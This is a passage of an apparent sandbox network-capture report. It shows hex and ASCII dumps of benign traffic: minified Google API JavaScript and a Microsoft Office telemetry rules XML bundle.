2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 297205 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-11 18:17:38 UTC	462	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-11 18:17:38 UTC	1378	IN	Data Raw: 6f 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 Data Ascii: ototype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)ret
2024-11-11 18:17:38 UTC	1378	IN	Data Raw: 76 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 Data Ascii: var b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.a
2024-11-11 18:17:38 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 Data Ascii: =function(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),rejec
2024-11-11 18:17:38 UTC	1378	IN	Data Raw: 2e 70 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e Data Ascii: .promise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=fun
2024-11-11 18:17:38 UTC	1378	IN	Data Raw: 72 6f 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 Data Ascii: ror("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));f
2024-11-11 18:17:38 UTC	1378	IN	Data Raw: 61 72 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 Data Ascii: ar h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return
2024-11-11 18:17:38 UTC	1378	IN	Data Raw: 74 65 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 Data Ascii: te=function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();thi
2024-11-11 18:17:38 UTC	1378	IN	Data Raw: 79 70 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 Data Ascii: ype.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)
2024-11-11 18:17:38 UTC	1378	IN	Data Raw: 62 2b 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 Data Ascii: b+9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.7	49715	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-11 18:17:38 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-11 18:17:38 UTC	471	IN	HTTP/1.1 200 OK Date: Mon, 11 Nov 2024 18:17:38 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Cache-Control: public Last-Modified: Sat, 09 Nov 2024 18:56:51 GMT ETag: "0x8DD00F04568BDCF" x-ms-request-id: a2ad2bd1-f01e-0096-27d5-3310ef000000 x-ms-version: 2018-03-28 x-azure-ref: 20241111T181738Z-174f7845968cdxdrhC1EWRg0en000000055g00000000s4z9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-11 18:17:38 UTC	15913	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-11-11 18:17:38 UTC	16384	IN	Data Raw: 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 Data Ascii: /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" /> </L> <R> <V V="400" T="I32" />
2024-11-11 18:17:38 UTC	16384	IN	Data Raw: 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 33 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 41 20 54 3d 22 31 22 20 45 3d 22 54 65 6c 65 6d 65 74 72 79 53 68 75 74 64 6f 77 6e 22 20 2f 3e 0d Data Ascii: .0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-7813" DCa="PSU" xmlns=""> <S> <A T="1" E="TelemetryShutdown" />
2024-11-11 18:17:38 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 31 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 46 69 6c 65 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 38 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 Data Ascii: </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32" I="11" O="true" N="File_Count"> <S T="8" F="Count" /> </C>
2024-11-11 18:17:38 UTC	16384	IN	Data Raw: 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 52 65 73 75 6c 74 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 32 22 20 2f 3e 0d 0a 20 Data Ascii: <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Count_CreateResult_ValidPersona_False"> <C> <S T="12" />
2024-11-11 18:17:38 UTC	16384	IN	Data Raw: 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6c 65 61 6e 75 70 4d 73 6f 50 65 72 73 6f 6e 61 5f 49 4d 73 6f 50 65 72 73 6f 6e Data Ascii: Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C> </C> <C T="U32" I="21" O="false" N="CleanupMsoPersona_IMsoPerson
2024-11-11 18:17:38 UTC	16384	IN	Data Raw: 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 Data Ascii: <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="400"
2024-11-11 18:17:38 UTC	16384	IN	Data Raw: 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 46 61 69 6c 65 64 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 Data Ascii: </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIntegrationFirstCallFailedCount"> <C> <S T="10" /> </C
2024-11-11 18:17:39 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" 